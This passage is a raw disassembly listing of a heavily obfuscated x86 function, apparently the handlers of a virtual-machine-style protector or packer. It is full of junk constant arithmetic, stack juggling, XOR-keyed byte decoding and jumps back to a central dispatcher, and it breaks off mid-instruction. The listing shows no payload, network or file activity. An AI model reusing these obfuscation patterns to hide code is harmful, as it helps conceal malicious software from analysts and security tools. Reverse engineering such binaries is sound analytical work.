--------------------------------------------------------------------------- loc_58B3A6: ; CODE XREF: sub_580566+BB0Dj mov ecx, esi pop esi add esi, ecx mov ecx, [esp-3Eh+arg_34+2] jmp loc_5865B7 ; --------------------------------------------------------------------------- loc_58B3B3: ; CODE XREF: sub_580566+A538j sub ebx, 4 xchg ebx, [esp-38h+arg_30] pop esp jmp loc_58ECD1 ; --------------------------------------------------------------------------- loc_58B3C2: ; CODE XREF: sub_580566+EC86j sub esi, 65E01A45h add esi, 51202FAFh sub esi, 0CCF05F0h jmp loc_58579D ; --------------------------------------------------------------------------- loc_58B3D9: ; CODE XREF: sub_580566+8298j mov esi, [esp-0Eh+arg_8+2] jmp loc_586FE4 ; --------------------------------------------------------------------------- loc_58B3E1: ; CODE XREF: sub_580566+A66Cj dec dl xor bl, dl jmp loc_589FE1 ; --------------------------------------------------------------------------- loc_58B3EA: ; CODE XREF: sub_580566+C072j mov ebx, [esp+0] add esp, 4 inc dh shl dh, 7 jmp loc_5890A5 ; --------------------------------------------------------------------------- loc_58B3FD: ; CODE XREF: sub_580566+471Aj push 1F9Eh mov [esp-20h+arg_16+2], ecx push 1A6Ah mov [esp-1Ch+arg_12+2], ebp mov ebp, 5FF5C3Ah push 0FA00A3C5h jmp loc_58BB53 ; --------------------------------------------------------------------------- loc_58B41C: ; CODE XREF: sub_580566+5688j mov [esp-32h+arg_28+2], edx push edi mov edi, 7E3737F0h push esi mov esi, 248571DEh jmp loc_58D075 ; --------------------------------------------------------------------------- loc_58B430: ; CODE XREF: sub_580566+6830j add esp, 4 push ebx mov ebx, 3A134959h push eax jmp loc_5898AB ; --------------------------------------------------------------------------- loc_58B43F: ; CODE XREF: sub_580566+5369j push 712Bh mov [esp-20h+arg_16+2], eax mov eax, esp push ebx mov ebx, 4 add eax, ebx jmp loc_585219 ; --------------------------------------------------------------------------- loc_58B456: ; CODE XREF: sub_580566+B0F6j xor ebx, 0D7BF42BEh add ebp, ebx pop ebx sub ecx, 796545DBh add ecx, ebp jmp loc_58B17D ; --------------------------------------------------------------------------- loc_58B46C: ; CODE XREF: sub_580566+EAC1j mov ecx, 35B12CC6h add ebp, ecx pop ecx pop edx xchg ebp, [esp-28h+arg_20] jmp loc_58EB50 ; --------------------------------------------------------------------------- loc_58B47D: ; CODE XREF: sub_580566+7093j add eax, edi sub eax, 5D88593Ch push ecx mov cl, bh mov [eax], cl jmp loc_58E9D7 ; --------------------------------------------------------------------------- loc_58B48E: ; CODE XREF: sub_580566+FA08j mov ecx, 8CA8959Ch add ebp, ecx pop ecx jmp loc_58E478 ; --------------------------------------------------------------------------- loc_58B49B: ; CODE XREF: sub_580566+50E0j shr edi, 8 shl edi, 3 jmp loc_58C1B3 ; --------------------------------------------------------------------------- loc_58B4A6: ; CODE XREF: sub_580566+DCDBj add ebx, edi pop edi add edx, ebx push dword ptr [esp+0] pop ebx add esp, 4 sub esp, 4 mov [esp+0], edx push [esp-10h+arg_A+2] mov edx, [esp-0Ch+arg_8] add esp, 4 pop dword ptr [esp+0] pop esp jmp loc_58665F ; --------------------------------------------------------------------------- loc_58B4D1: ; CODE XREF: sub_580566+831Dj ; DATA XREF: sub_580566+3C2Ao push dword ptr [edi+1Ch] push [esp+8+var_8] push [esp+0Ch+var_C] pop eax push edx jmp loc_584DBD ; --------------------------------------------------------------------------- loc_58B4E1: ; CODE XREF: sub_580566+CFFDj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+14h+var_14] pop esp push edx mov edx, 0DFE1023h xor edx, 0DFE1027h add eax, 111372F9h add eax, edx sub eax, 111372F9h jmp loc_58FBBD ; --------------------------------------------------------------------------- loc_58B511: ; CODE XREF: sub_580566+4D35j push 671Fh mov [esp+6+var_8+2], ebp mov ebp, esp push ebx mov ebx, 20063E56h jmp loc_58DC8E ; --------------------------------------------------------------------------- loc_58B526: ; CODE XREF: sub_580566+F506j mov edx, 69D056Fh add edx, 4B3F6D0Bh add edx, 167C3BA3h xor edx, 7BDC3DD0h jmp loc_5887CA ; --------------------------------------------------------------------------- loc_58B542: ; CODE XREF: sub_580566+DE04j pop esi xor esi, 112C141Fh mov ecx, esi jmp loc_58B9D5 ; --------------------------------------------------------------------------- loc_58B550: ; CODE XREF: sub_580566+6823j xor ecx, 0FF01A46Bh push eax push ebx mov ebx, 339A2E09h not ebx inc ebx or ebx, 8B52B31h xor ebx, 0CCF5FBCFh push ebp mov ebp, ebx mov eax, ebp pop ebp pop ebx add eax, edx push ecx xor [esp-12h+arg_A], 935039Ch jmp loc_588B7F ; --------------------------------------------------------------------------- loc_58B582: ; CODE XREF: sub_580566+D7EDj add esp, 4 push ebp jmp loc_585D61 ; --------------------------------------------------------------------------- loc_58B58B: ; CODE XREF: sub_580566+A1F0j sub esp, 4 mov [esp+8+var_8], ecx push 505D01B9h pop ecx jmp loc_58BBF9 ; --------------------------------------------------------------------------- loc_58B59F: ; CODE XREF: sub_580566+82A6j mov esp, [esp-0Eh+arg_8+2] mov [esp-0Eh+arg_8+2], edx push eax pushf jmp loc_58E5BE ; --------------------------------------------------------------------------- loc_58B5AC: ; CODE XREF: sub_580566+49D9j pop esp sub esp, 4 jmp loc_587E15 ; --------------------------------------------------------------------------- loc_58B5B8: ; CODE XREF: sub_580566+7BC8j xchg cl, dh shl dh, 1 push eax mov al, 91h or al, 3Ah shl al, 3 xor al, 6 jmp loc_5860AB ; --------------------------------------------------------------------------- loc_58B5CB: ; CODE XREF: sub_580566+F479j mov edi, 4 jmp loc_58612D ; --------------------------------------------------------------------------- loc_58B5D5: ; CODE XREF: sub_580566+6C76j mov ebx, 41653DD8h not ebx add ebx, 62B4A44Dh sub esi, 46CD7BF6h jmp loc_5861FB ; --------------------------------------------------------------------------- loc_58B5ED: ; DATA XREF: sub_580566+3E4Eo mov cx, word ptr [esp-30h+arg_28] sub esp, 4 mov [esp-2Ch+arg_24], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-2Ch+arg_24] jmp loc_58E870 ; --------------------------------------------------------------------------- loc_58B610: ; CODE XREF: sub_580566+7215j push ebp mov ebp, 723965A8h jmp loc_58453C ; --------------------------------------------------------------------------- loc_58B61B: ; CODE XREF: sub_580566+CF5Fj pop esp push ebp push 4E0Dh mov [esp-24h+arg_1A+2], esp add [esp-24h+arg_1A+2], 4 pop ebp add ebp, 4 push eax mov eax, 5F1C3E60h not eax xor eax, 2BE05E46h xor eax, 2A513A27h sub eax, 0A152A5FAh add ebp, eax pop eax xchg ebp, [esp-28h+arg_20] mov esp, [esp-28h+arg_20] add [esp-28h+arg_20], eax pushf jmp loc_58A018 ; --------------------------------------------------------------------------- loc_58B659: ; CODE XREF: sub_580566+8AF4j sub ebx, ecx pop ecx jmp loc_58B456 ; --------------------------------------------------------------------------- loc_58B661: ; CODE XREF: sub_580566+75AEj add edx, ebp pop ebp add edx, eax sub edx, 85D6F14h push 5007h mov [esp+0], ecx mov ecx, 2D027164h jmp loc_58DCCA ; --------------------------------------------------------------------------- loc_58B67E: ; DATA XREF: sub_580566+3EBEo mov cx, word ptr [esp-30h+arg_28] push edi push esp mov edi, [esp-28h+arg_20] push eax mov eax, esp push edi mov edi, 4 add eax, edi pop edi add eax, 4 push eax jmp loc_5875AC ; --------------------------------------------------------------------------- loc_58B69E: ; CODE XREF: sub_580566+45A4j xor ecx, [esp-2Eh+arg_24+2] mov esp, [esp-2Eh+arg_24+2] push 58E7h mov [esp-2Ah+arg_20+2], ebp push esi mov esi, 39800E26h sub esi, 397F8E26h jmp loc_585ADB ; --------------------------------------------------------------------------- loc_58B6BD: ; CODE XREF: sub_580566+6865j xor al, cl jmp loc_589BE7 ; --------------------------------------------------------------------------- loc_58B6C4: ; CODE XREF: sub_580566+4CB6j mov ecx, 6BED4844h jmp loc_585203 ; --------------------------------------------------------------------------- loc_58B6CE: ; CODE XREF: sub_580566+8123j pop ecx add al, bl mov ebx, [esp-34h+arg_2C] jmp loc_58D442 ; --------------------------------------------------------------------------- loc_58B6D9: ; DATA XREF: sub_580566+3D1Eo lodsb xor al, bl push 7187h mov [esp-2Ch+arg_24], edx jmp loc_58BCAD ; --------------------------------------------------------------------------- loc_58B6E9: ; CODE XREF: sub_580566+CA80j mov esp, [esp-2Ch+arg_24] test cl, al pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58B6F4: ; CODE XREF: sub_580566+B742j xchg esi, [esp-28h+arg_20] jmp loc_58C10A ; --------------------------------------------------------------------------- loc_58B6FC: ; CODE XREF: sub_580566+9FA5j sub ebp, 0E4162131h jmp loc_58FC97 ; --------------------------------------------------------------------------- loc_58B707: ; CODE XREF: sub_580566+A350j sub ebx, ebp jmp loc_58BDC3 ; --------------------------------------------------------------------------- loc_58B70E: ; CODE XREF: sub_580566+B2F6j mov ecx, 6D6E3C0Dh jmp loc_5867B0 ; --------------------------------------------------------------------------- loc_58B718: ; CODE XREF: sub_580566+EA41j push edx mov edx, 5D6D0DCAh and edi, edx pop edx sub edi, 809040Ah mov eax, edi mov edi, [esp+30h+var_30] jmp loc_58A82D ; --------------------------------------------------------------------------- loc_58B731: ; CODE XREF: sub_580566+93F2j mov [esp-24h+arg_1A+2], ecx mov ecx, 4 add [esp-24h+arg_20], ecx pop ecx pop edi add edi, 4 push 585Bh jmp loc_587F00 ; --------------------------------------------------------------------------- loc_58B74F: ; CODE XREF: sub_580566+7621j add edx, 2 xchg edx, [esp-30h+arg_28] mov esp, [esp-30h+arg_28] rol [esp-30h+arg_28], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58B764: ; DATA XREF: sub_580566+3E4Ao mov eax, [esp-30h+arg_28] jmp loc_58982F ; --------------------------------------------------------------------------- loc_58B76C: ; CODE XREF: sub_580566+AC53j pop ecx jmp loc_58ED35 ; --------------------------------------------------------------------------- loc_58B772: ; CODE XREF: sub_580566+5A39j sub esp, 4 mov [esp+8+var_8], edx mov dh, 9 shl dh, 6 shl dh, 7 inc dh xor dh, 0B4h and dh, 0CBh xor dh, 0AEh xor bl, dh jmp loc_5902E1 ; --------------------------------------------------------------------------- loc_58B792: ; DATA XREF: sub_580566+3D52o lodsw push small 4BEh mov word ptr [esp-2Eh+arg_24+2], cx mov cx, 7740h add ax, cx pop cx jmp loc_585290 ; --------------------------------------------------------------------------- loc_58B7AA: ; CODE XREF: sub_580566+A45Dj push edi jmp loc_58E6F3 ; --------------------------------------------------------------------------- loc_58B7B0: ; DATA XREF: sub_580566+3E9Ao push dword ptr [edi+2Ch] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58B7B8: ; CODE XREF: sub_580566+A71Cj pop ebx pop eax pop ebx mov [edi+eax*4], cl mov ecx, [esp+1Eh+var_20+2] add esp, 4 jmp loc_584473 ; --------------------------------------------------------------------------- loc_58B7CC: ; CODE XREF: sub_580566+D4C6j push edi jmp loc_58D4D6 ; --------------------------------------------------------------------------- loc_58B7D2: ; CODE XREF: sub_580566+A64Fj neg edi sub edi, 0FB57E80Ah add ecx, edi jmp loc_58BC87 ; --------------------------------------------------------------------------- loc_58B7E1: ; CODE XREF: sub_580566+7514j add esi, 29663725h sub esi, ebp sub esi, 29663725h mov ebp, [esp+0] push ebp jmp loc_58FBCF ; --------------------------------------------------------------------------- loc_58B7F8: ; CODE XREF: sub_580566+6185j pop edi add edx, 2 xchg edx, [esp-52h+arg_48+2] mov esp, [esp-52h+arg_48+2] xor bl, al jmp loc_5870DA ; --------------------------------------------------------------------------- loc_58B80C: ; CODE XREF: sub_580566+C5DDj add edx, 4A546E0Eh mov ebp, [esp-52h+arg_48+2] add esp, 4 push ecx mov ecx, 4 add edx, ecx pop ecx xchg edx, [esp-56h+arg_4E] jmp loc_58E2F0 ; --------------------------------------------------------------------------- loc_58B829: ; CODE XREF: sub_580566+7B1Aj pop [esp-30h+arg_28] jmp loc_587C79 ; --------------------------------------------------------------------------- loc_58B831: ; CODE XREF: sub_580566+4F23j pop ecx mov eax, [esp-1Ah+arg_12] jmp loc_5891FE ; --------------------------------------------------------------------------- loc_58B83A: ; CODE XREF: sub_580566+C561j add [esp-1Ah+arg_1A], 70C4131Fh sub [esp-1Ah+arg_1A], ebp sub [esp-1Ah+arg_1A], 70C4131Fh pop ebp sub [esp-1Eh+arg_1A], 6D6E3C0Dh add [esp-1Eh+arg_1A], ebp push ecx jmp loc_58B70E ; --------------------------------------------------------------------------- loc_58B861: ; CODE XREF: sub_580566+7E35j push eax mov ecx, [esp-1Eh+arg_16] add esp, 4 jmp loc_58E187 ; --------------------------------------------------------------------------- loc_58B870: ; CODE XREF: sub_580566+9613j mov esi, ecx pop ecx add [esp-12h+arg_E], 2B395AD7h sub [esp-12h+arg_E], esi jmp loc_58A75B ; --------------------------------------------------------------------------- loc_58B884: ; CODE XREF: sub_580566+827Aj push [esp-0Eh+arg_8+2] mov eax, [esp-0Ah+arg_4+2] add esp, 4 push 4739h jmp loc_58CEFD ; --------------------------------------------------------------------------- loc_58B89A: ; CODE XREF: sub_580566+DD56j xor ecx, 7804459Bh xor ecx, 85FA9D50h add ebx, ecx pop ecx add edi, 49AE2386h jmp loc_58548E ; --------------------------------------------------------------------------- push [esp-0Eh+arg_8+2] mov ecx, [esp-0Ah+arg_4+2] push edi push esp pop edi add edi, 4 sub edi, 4 jmp loc_5898E6 ; --------------------------------------------------------------------------- loc_58B8CE: ; DATA XREF: sub_580566+3D62o mov eax, [esp-30h+arg_28] jmp loc_58A9C8 ; --------------------------------------------------------------------------- loc_58B8D6: ; CODE XREF: sub_580566+BC76j add ebx, eax sub ebx, 154E17D4h jmp loc_58C159 ; --------------------------------------------------------------------------- loc_58B8E3: ; CODE XREF: sub_580566+5A1Cj push ebx mov ebx, 5E535EDEh jmp loc_58BC56 ; --------------------------------------------------------------------------- loc_58B8EE: ; CODE XREF: sub_580566+E53Bj add eax, 4DEE635Fh dec eax push eax not [esp+0Ch+var_C] pop eax jmp loc_58B188 ; --------------------------------------------------------------------------- loc_58B8FE: ; CODE XREF: sub_580566+46C2j shl byte ptr [esp-4Eh+arg_44+2], cl pushf jmp loc_5850E9 ; --------------------------------------------------------------------------- loc_58B907: ; CODE XREF: sub_580566+C497j or eax, eax jz loc_58FED3 push dword ptr [edi+28h] jmp loc_58E7BF ; --------------------------------------------------------------------------- loc_58B917: ; CODE XREF: sub_580566+A6EDj sub byte ptr [esp-30h+arg_28], bh mov bh, byte ptr [esp-30h+arg_28] jmp loc_589674 ; --------------------------------------------------------------------------- loc_58B922: ; CODE XREF: sub_580566+706Ej add eax, 0D5F950FCh add ebp, eax jmp loc_58D518 ; --------------------------------------------------------------------------- loc_58B92E: ; CODE XREF: sub_580566+4F02j add edi, ebx pop ebx push eax mov eax, 4 jmp loc_58786D ; --------------------------------------------------------------------------- loc_58B93C: ; CODE XREF: sub_580566+EAE1j mov cl, 0E4h add cl, ah pop eax shr cl, 8 push edx mov dl, 80h push eax mov ah, 0B1h add dl, ah pop eax and cl, dl mov edx, [esp+0] add esp, 4 sub cl, 0BAh push ebx push eax jmp loc_588555 ; --------------------------------------------------------------------------- loc_58B962: ; CODE XREF: sub_580566+FF9Dj push [esp-22h+arg_1A] pop ecx push ebx push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_5872C5 ; --------------------------------------------------------------------------- loc_58B977: ; CODE XREF: sub_580566+94FCj xchg ebx, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] sub esp, 4 mov [esp-8+arg_4], esi push 5616h mov [esp+0], esp add dword ptr [esp+0], 4 jmp loc_588C3B ; --------------------------------------------------------------------------- loc_58B997: ; CODE XREF: sub_580566+8D23j mov esi, 39A66459h neg esi xor esi, 5CE371C0h inc esi not esi jmp loc_58D897 ; --------------------------------------------------------------------------- loc_58B9AC: ; CODE XREF: sub_580566+65CAj pop eax add ebx, edi jmp loc_5861D2 ; --------------------------------------------------------------------------- loc_58B9B4: ; CODE XREF: sub_580566+519Bj mov [esp-2Ah+arg_20+2], ebx push [esp-2Ah+arg_20+2] mov eax, [esp+0] add esp, 4 jmp loc_586C75 ; --------------------------------------------------------------------------- loc_58B9C8: ; CODE XREF: sub_580566+5468j xor edi, [esp-14h+arg_A+2] pop esp test cx, ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58B9D5: ; CODE XREF: sub_580566+AFE5j pop esi jmp loc_58E1ED ; --------------------------------------------------------------------------- loc_58B9DB: ; CODE XREF: sub_580566+551Ej shr edx, 1 cmp eax, edx jz loc_58853E push 104Dh mov [esp-20h+arg_16+2], ecx mov ecx, 2E2B43F2h and ecx, 0E610DF8h push eax jmp loc_584B0F ; --------------------------------------------------------------------------- loc_58B9FE: ; DATA XREF: sub_580566+3DBAo mov cx, word ptr [esp-30h+arg_28] push edi mov edi, esp push ebx mov ebx, 31245CEAh sub ebx, 1 sub ebx, 1A193E52h or ebx, 17D04BADh shr ebx, 4 push esi mov esi, 5A3075C3h shl esi, 4 not esi add esi, 78004AADh add esi, 2C84C77Bh sub ebx, esi pop esi add edi, ebx jmp loc_589DC9 ; --------------------------------------------------------------------------- loc_58BA3E: ; CODE XREF: sub_580566+9CEAj sub esp, 4 mov [esp-2Ch+arg_24], eax push 4 pop eax add edx, 57685119h add edx, eax sub edx, 57685119h pop eax add edx, 4 jmp loc_5889E2 ; --------------------------------------------------------------------------- loc_58BA61: ; CODE XREF: sub_580566+DCF6j mov ebx, [esp-30h+arg_28] add esp, 4 jmp loc_58D003 ; --------------------------------------------------------------------------- loc_58BA6C: ; DATA XREF: sub_580566+3CE2o mov ax, word ptr [esp-0Ch+arg_8] push edx jmp loc_58527A ; --------------------------------------------------------------------------- loc_58BA76: ; CODE XREF: sub_580566+10077j pop edx add esp, 4 pop dword ptr [esp+0] push 783Dh mov [esp+0], edx xchg eax, [esp+0] not eax jmp loc_58A556 ; --------------------------------------------------------------------------- loc_58BA92: ; CODE XREF: sub_580566+4863j add ebx, 4B9A5AD4h add ebx, ebp sub ebx, 4B9A5AD4h push eax mov eax, 1ACB6366h sub ebx, eax pop eax pop ebp add ebx, 4 push 763Dh mov [esp-14h+arg_A+2], ebx push [esp-14h+arg_E+2] mov ebx, [esp+0] add esp, 4 pop [esp-14h+arg_A+2] pop esp jmp loc_584A11 ; --------------------------------------------------------------------------- loc_58BACB: ; CODE XREF: sub_580566+E913j add ebp, 4 sub esp, 4 mov [esp-18h+arg_E+2], edx jmp loc_58B2F4 ; --------------------------------------------------------------------------- loc_58BADF: ; CODE XREF: sub_580566+10095j sub esp, 4 mov [esp-14h+arg_A+2], ecx jmp loc_58E141 ; --------------------------------------------------------------------------- loc_58BAEA: ; CODE XREF: sub_580566+FBE0j sub ecx, 2DE8018Bh sub ecx, 4FC253C7h add ecx, edx add ecx, 4FC253C7h add ecx, 2DE8018Bh jmp loc_589A8D ; --------------------------------------------------------------------------- loc_58BB09: ; DATA XREF: sub_580566+3C72o push 3E71h mov [esp+0], ebp sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 jmp loc_58A6A6 ; --------------------------------------------------------------------------- loc_58BB26: ; CODE XREF: sub_580566+53A7j neg eax push ecx mov ecx, 761D2D67h inc ecx xor ecx, 2DA672DEh add ecx, 40971C19h inc ecx neg ecx xor ecx, 3333CA73h sub eax, ecx jmp loc_58ACC7 ; --------------------------------------------------------------------------- loc_58BB4B: ; CODE XREF: sub_580566+D112j push ecx mov ecx, esp jmp loc_585099 ; --------------------------------------------------------------------------- loc_58BB53: ; CODE XREF: sub_580566+AEB1j mov ecx, [esp-18h+arg_E+2] push edi jmp loc_58531A ; --------------------------------------------------------------------------- loc_58BB5C: ; CODE XREF: sub_580566+A29Dj mov [esp-2Ch+arg_24], ecx mov ecx, 261E13B5h sub ecx, 1 inc ecx or ecx, 77DD12F0h jmp loc_58D719 ; --------------------------------------------------------------------------- loc_58BB73: ; CODE XREF: sub_580566+4D25j push edx mov edx, 3EB54EB8h jmp loc_58713F ; --------------------------------------------------------------------------- loc_58BB7E: ; CODE XREF: sub_580566+A994j pop eax xor ecx, ebp mov ebp, [esp-2Ch+arg_24] add esp, 4 push 5008h mov [esp-2Ch+arg_24], ebp jmp loc_58DE89 ; --------------------------------------------------------------------------- loc_58BB94: ; DATA XREF: sub_580566+3D7Eo mov ax, word ptr [esp-30h+arg_28] push ecx mov ecx, esp add ecx, 4 push edi jmp loc_58BF15 ; --------------------------------------------------------------------------- loc_58BBA7: ; CODE XREF: sub_580566+7FF3j pop eax jmp loc_58FD34 ; --------------------------------------------------------------------------- loc_58BBAD: ; CODE XREF: sub_580566+AC46j mov edx, 2C8B6E28h dec edx push ebp jmp loc_584B7C ; --------------------------------------------------------------------------- loc_58BBB9: ; DATA XREF: sub_580566+3C6Ao pop dword ptr fs:[edx] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58BBC1: ; CODE XREF: sub_580566+D5E2j add ebx, 92FD0576h and esi, ebx pop ebx jmp loc_5890E9 ; --------------------------------------------------------------------------- loc_58BBCF: ; CODE XREF: sub_580566+6A67j push eax push [esp-32h+arg_2C+2] pop eax pop [esp-32h+arg_28+2] jmp loc_58729C ; --------------------------------------------------------------------------- loc_58BBDD: ; CODE XREF: sub_580566+AADFj pop ebx add ebx, 4 add ebx, 4 push ebx push [esp+14h+var_10] pop ebx pop [esp+14h+var_14] pop esp jmp loc_58CE60 ; --------------------------------------------------------------------------- loc_58BBF9: ; CODE XREF: sub_580566+B034j push edi push ecx mov ecx, 50A35A2Dh mov edi, ecx pop ecx jmp loc_586D79 ; --------------------------------------------------------------------------- loc_58BC08: ; CODE XREF: sub_580566+77B4j sub edx, 408826BCh pop ebx jmp loc_589AE3 ; --------------------------------------------------------------------------- loc_58BC14: ; CODE XREF: sub_580566+7009j push [esp-38h+arg_30] pop ecx push 2C4h mov [esp-34h+arg_2C], esi push esp pop esi push eax push 4 pop eax jmp loc_589433 ; --------------------------------------------------------------------------- loc_58BC2E: ; CODE XREF: sub_580566+F0C8j mov ecx, [esp-30h+arg_28] add esp, 4 jmp loc_584A7B ; --------------------------------------------------------------------------- loc_58BC39: ; CODE XREF: sub_580566+C9CDj mov [esp-34h+arg_2C], ebx jmp loc_58E1D6 ; --------------------------------------------------------------------------- loc_58BC41: ; CODE XREF: sub_580566+9A76j pop esp shr eax, 12h xor eax, ecx push eax jmp loc_58E28C ; --------------------------------------------------------------------------- loc_58BC4D: ; CODE XREF: sub_580566+E6C7j not [esp-24h+arg_1A+2] pop ecx jmp loc_588439 ; --------------------------------------------------------------------------- loc_58BC56: ; CODE XREF: sub_580566+B383j dec ebx add ebx, 2CBA76BFh add ebx, 74F22A68h jmp loc_58AB33 ; --------------------------------------------------------------------------- loc_58BC68: ; CODE XREF: sub_580566+A75Cj xor [esp+22h+var_24+2], edi xor edi, [esp+22h+var_24+2] jmp loc_58E8C8 ; --------------------------------------------------------------------------- loc_58BC73: ; CODE XREF: sub_580566+8D1Dj push ebx not [esp+0Ch+var_C] pop ebx jmp loc_58DFC9 ; --------------------------------------------------------------------------- loc_58BC7D: ; CODE XREF: sub_580566+C6A0j mov ebp, 2E87321Ah jmp loc_58D1F6 ; --------------------------------------------------------------------------- loc_58BC87: ; CODE XREF: sub_580566+B276j pop edi push esi mov esi, ecx mov eax, esi pop esi pop ecx push eax jmp loc_58FFCF ; --------------------------------------------------------------------------- loc_58BC95: ; CODE XREF: sub_580566+B858j pop esp mov [esp-20h+arg_16+2], eax push esp pop eax push ebx jmp loc_58D0E3 ; --------------------------------------------------------------------------- loc_58BCA1: ; CODE XREF: sub_580566+97AEj add esi, 0B923740h pop ebp jmp loc_58B6F4 ; --------------------------------------------------------------------------- loc_58BCAD: ; CODE XREF: sub_580566+B17Ej mov dl, 0C0h shr dl, 1 push eax push bx mov bl, 0DEh push edx mov dl, bl mov al, dl pop edx pop bx sub al, 0DAh push cx mov cl, 7Bh push ecx jmp loc_58D524 ; --------------------------------------------------------------------------- loc_58BCCA: ; CODE XREF: sub_580566+FBD8j sub ebx, 5F2673AAh sub ebx, eax add ebx, 5F2673AAh add ebx, 0FDA7C8Ch jmp loc_58CBC1 ; --------------------------------------------------------------------------- loc_58BCE3: ; CODE XREF: sub_580566+6DC9j push ebx push eax push ebx mov bh, 0E3h add bh, 97h push ecx jmp loc_58A79C ; --------------------------------------------------------------------------- loc_58BCF1: ; CODE XREF: sub_580566+94E2j sub esp, 4 mov [esp+0], edi mov edi, esp jmp loc_58E817 ; --------------------------------------------------------------------------- loc_58BD01: ; CODE XREF: sub_580566+8A07j push ebp mov ebp, 4 sub edi, 6ED86CEAh jmp loc_5901EC ; --------------------------------------------------------------------------- loc_58BD12: ; CODE XREF: sub_580566+73A2j xor ecx, 23D554CEh jmp loc_58BE0D ; --------------------------------------------------------------------------- loc_58BD1D: ; DATA XREF: sub_580566+3CBAo lodsd sub eax, 75797493h push edx mov edx, 31854E1Ah jmp loc_589803 ; --------------------------------------------------------------------------- loc_58BD2E: ; CODE XREF: sub_580566+DD8Dj jmp loc_584473 ; --------------------------------------------------------------------------- loc_58BD33: ; CODE XREF: sub_580566+A917j sub ebx, 79777067h push 0A2Ah mov [esp-1Ch+arg_12+2], esi mov esi, 86C2248h push ebx jmp loc_586229 ; --------------------------------------------------------------------------- loc_58BD4C: ; CODE XREF: sub_580566+A20Dj add eax, 0A5D4945h add eax, ecx sub eax, 0A5D4945h mov ecx, [esp+0] push edx push esp pop edx add edx, 4 push 6ECh mov [esp+8+var_8], edi mov edi, 2C8639C0h shl edi, 7 jmp loc_58D09D ; --------------------------------------------------------------------------- loc_58BD79: ; CODE XREF: sub_580566+D1A5j push edx mov edx, 25021ECFh dec edx jmp loc_58825A ; --------------------------------------------------------------------------- loc_58BD85: ; CODE XREF: sub_580566+980Ej add eax, 0FFBFDFABh jmp loc_58916F ; --------------------------------------------------------------------------- loc_58BD8F: ; CODE XREF: sub_580566+CE73j add eax, 47946437h pop edi add eax, 4 jmp loc_58AEBB ; --------------------------------------------------------------------------- loc_58BD9F: ; CODE XREF: sub_580566+F67Aj mov ecx, 15A00E60h add ecx, 1 push eax jmp loc_58A705 ; --------------------------------------------------------------------------- loc_58BDB0: ; CODE XREF: sub_580566+CC9Ej inc ebx not ebx jmp loc_58A398 ; --------------------------------------------------------------------------- loc_58BDB8: ; CODE XREF: sub_580566+73F4j sub ebp, 4 xchg ebp, [esp-2Ch+arg_24] jmp loc_58BC95 ; --------------------------------------------------------------------------- loc_58BDC3: ; CODE XREF: sub_580566+B1A3j mov ebp, [esp+30h+var_30] add esp, 4 add ebx, 2E1163DBh or ebx, 6A031AD8h xor ebx, 7D433866h jmp loc_58F088 ; --------------------------------------------------------------------------- loc_58BDE0: ; CODE XREF: sub_580566+F697j pop dx xor bl, al movzx eax, al jmp loc_5899A6 ; --------------------------------------------------------------------------- loc_58BDEC: ; CODE XREF: sub_580566+9937j push ebx mov ebx, esp jmp loc_58C67E ; --------------------------------------------------------------------------- loc_58BDF4: ; CODE XREF: sub_580566+588Aj push esp mov ebp, [esp-20h+arg_16+2] jmp loc_58F451 ; --------------------------------------------------------------------------- loc_58BDFD: ; CODE XREF: sub_580566+597Bj sub eax, ebp pop ebp add edx, eax jmp loc_5891A1 ; --------------------------------------------------------------------------- loc_58BE07: ; CODE XREF: sub_580566+E005j push ecx jmp loc_58C2B5 ; --------------------------------------------------------------------------- loc_58BE0D: ; CODE XREF: sub_580566+B7B2j sub ecx, 86C9DD62h add edi, ecx pop ecx add ebp, edi pop edi jmp loc_58784B ; --------------------------------------------------------------------------- loc_58BE1E: ; CODE XREF: sub_580566+FA2Dj mov ebp, 0D94564A8h sub ebp, ecx mov ecx, [esp-30h+arg_28] add esp, 4 push ecx push ebp xor [esp-2Ch+arg_24], 3E3D2369h pop ecx xor ecx, 3E3D2369h push ecx sub [esp-2Ch+arg_24], 36C77BBh pop esi add esi, 36C77BBh pop ecx pop ebp dec esi xor esi, 47B43867h xor eax, esi mov esi, [esp-38h+arg_30] add esp, 4 jmp loc_5847D1 ; --------------------------------------------------------------------------- loc_58BE66: ; CODE XREF: sub_580566+CCD0j add esp, 4 push 48D3h mov [esp-3Ch+arg_34], ebp push [esp-3Ch+arg_34] pop eax push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp-38h+arg_30] pop esp mov ebp, [esp-3Ch+arg_34] add esp, 4 jmp loc_584473 ; --------------------------------------------------------------------------- loc_58BE96: ; CODE XREF: sub_580566+836Bj push 32F9h mov [esp-1Ch+arg_12+2], ecx jmp loc_587567 ; --------------------------------------------------------------------------- loc_58BEA3: ; CODE XREF: sub_580566+C77Bj pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp-20h+arg_16+2] pop esp jmp loc_58D54D ; --------------------------------------------------------------------------- loc_58BEB9: ; CODE XREF: sub_580566+CFE2j add ebx, 2 xor ebx, [esp-24h+arg_1A+2] xor [esp-24h+arg_1A+2], ebx xor ebx, [esp-24h+arg_1A+2] mov esp, [esp-24h+arg_1A+2] ror [esp-24h+arg_1A+2], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58BED4: ; CODE XREF: sub_580566+8090j add eax, ecx jmp loc_58CAB8 ; --------------------------------------------------------------------------- loc_58BEDB: ; CODE XREF: sub_580566+74D3j push 7D9Bh mov [esp+0], ebp jmp loc_584A95 ; --------------------------------------------------------------------------- loc_58BEE8: ; CODE XREF: sub_580566+100D2j pop ebp add esp, 4 sub edi, 4 xor edi, [esp-0Eh+arg_8+2] xor [esp-0Eh+arg_8+2], edi jmp loc_58C470 ; --------------------------------------------------------------------------- loc_58BF00: ; CODE XREF: sub_580566+F78Fj add bl, 7 movzx eax, al jmp loc_58C393 ; --------------------------------------------------------------------------- loc_58BF0B: ; CODE XREF: sub_580566+7600j mov al, cl mov dh, 